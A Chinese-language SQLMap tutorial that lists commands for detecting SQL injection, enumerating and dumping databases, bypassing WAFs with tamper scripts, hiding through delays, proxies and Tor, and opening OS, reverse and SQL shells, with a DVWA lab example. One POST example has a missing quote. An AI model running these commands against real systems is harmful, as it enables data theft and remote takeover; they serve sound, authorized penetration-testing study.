目錄
簡介
一、安裝與基礎配置
1. 安裝方法
2. 基本語法
二、基礎掃描技術
1. 簡單檢測
2. 指定參數掃描
3. 批量掃描
三、信息收集
1. 獲取數據庫信息
2. 獲取當前數據庫
3. 獲取數據庫用戶
4. 獲取數據庫版本
四、數據提取技術
1. 列出所有表
2. 提取表數據
3. 提取特定列
五、高級注入技術
1. 指定注入技術
2. 多線程掃描
3. 繞過WAF
六、實戰案例演示
案例1:DVWA Low級別注入
案例2:POST請求注入
案例3:從文件讀取請求
七、防御規避技巧
1. 延遲設置
2. 隨機代理
3. 使用Tor網絡
八、輸出與報告
1. 保存結果到文件
2. 生成HTML報告
九、風險控制
1. 安全掃描模式
2. 測試級別
十、實用小技巧
簡介
SQLMap是一款自動化 SQL 注入工具,能夠檢測和利用 SQL 注入漏洞。以下是全面的使用指南,包含基礎命令、高級技巧和實戰案例。
一、安裝與基礎配置
1. 安裝方法
Kali Linux:
sudo apt update && sudo apt install sqlmap
其他Linux系統:
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git cd sqlmap
Windows:
-
下載地址:https://github.com/sqlmapproject/sqlmap/zipball/master
2. 基本語法
sqlmap.py -h
二、基礎掃描技術
1. 簡單檢測
sqlmap.py -u "http://example.com/page.php?id=1"
2. 指定參數掃描
sqlmap.py -u "http://example.com/page.php?id=1" -p "id"
3. 批量掃描
sqlmap.py -m urls.txt ?# urls.txt中包含多個目標URL
三、信息收集
1. 獲取數據庫信息
sqlmap.py -u "http://example.com/page.php?id=1" --dbs
2. 獲取當前數據庫
sqlmap.py -u "http://example.com/page.php?id=1" --current-db
3. 獲取數據庫用戶
sqlmap.py -u "http://example.com/page.php?id=1" --current-user
4. 獲取數據庫版本
sqlmap.py -u "http://example.com/page.php?id=1" --banner
四、數據提取技術
1. 列出所有表
sqlmap.py -u "http://example.com/page.php?id=1" -D database_name --tables
2. 提取表數據
sqlmap.py -u "http://example.com/page.php?id=1" -D database_name -T table_name --dump
3. 提取特定列
sqlmap.py -u "http://example.com/page.php?id=1" -D database_name -T table_name -C "column1,column2" --dump
五、高級注入技術
1. 指定注入技術
sqlmap.py -u "http://example.com/page.php?id=1" --technique=B ?# 布爾盲注 sqlmap.py -u "http://example.com/page.php?id=1" --technique=T ?# 時間盲注 sqlmap.py -u "http://example.com/page.php?id=1" --technique=E ?# 報錯注入
2. 多線程掃描
sqlmap.py -u "http://example.com/page.php?id=1" --threads=5
3. 繞過WAF
sqlmap.py -u "http://example.com/page.php?id=1" --tamper="space2comment"
常用tamper腳本:
-
space2comment
:空格替換為注釋 -
between
:用BETWEEN替換大于號 -
randomcase
:隨機大小寫 -
charunicodeencode
:字符編碼轉換
六、實戰案例演示
案例1:DVWA Low級別注入
sqlmap.py -u "http://192.168.21.4/DVWA/vulnerabilities/sqli/?id=1" --batch --dbs
案例2:POST請求注入
sqlmap.py -u "http://192.168.21.4/DVWA/vulnerabilities/sqli/?id=1 --data="id=1&Submit=Submit" --method POST
案例3:從文件讀取請求
sqlmap.py -r request.txt ?# request.txt保存了Burp攔截的請求
七、防御規避技巧
1. 延遲設置
sqlmap.py -u "http://example.com/page.php?id=1" --delay=2 ?# 2秒延遲
2. 隨機代理
sqlmap.py -u "http://example.com/page.php?id=1" --proxy="http://proxy:port"
3. 使用Tor網絡
sqlmap.py -u "http://example.com/page.php?id=1" --tor --tor-type=SOCKS5
八、輸出與報告
1. 保存結果到文件
sqlmap.py -u "http://example.com/page.php?id=1" --output-dir=/path/to/results
2. 生成HTML報告
sqlmap.py -u "http://example.com/page.php?id=1" --dump --output-dir=report --format=HTML
九、風險控制
1. 安全掃描模式
sqlmap.py -u "http://example.com/page.php?id=1" --risk=1 ?# 低風險
2. 測試級別
sqlmap.py -u "http://example.com/page.php?id=1" --level=3 ?# 1-5,默認1
十、實用小技巧
-
獲取操作系統shell:
sqlmap.py -u "http://example.com/page.php?id=1" --os-shell
-
獲取反向連接:
sqlmap.py -u "http://example.com/page.php?id=1" --os-pwn
-
暴力破解表名:
sqlmap.py -u "http://example.com/page.php?id=1" --common-tables
4.獲取sql shell:
sqlmap.py -u "http://example.com/page.php?id=1" --sql-shell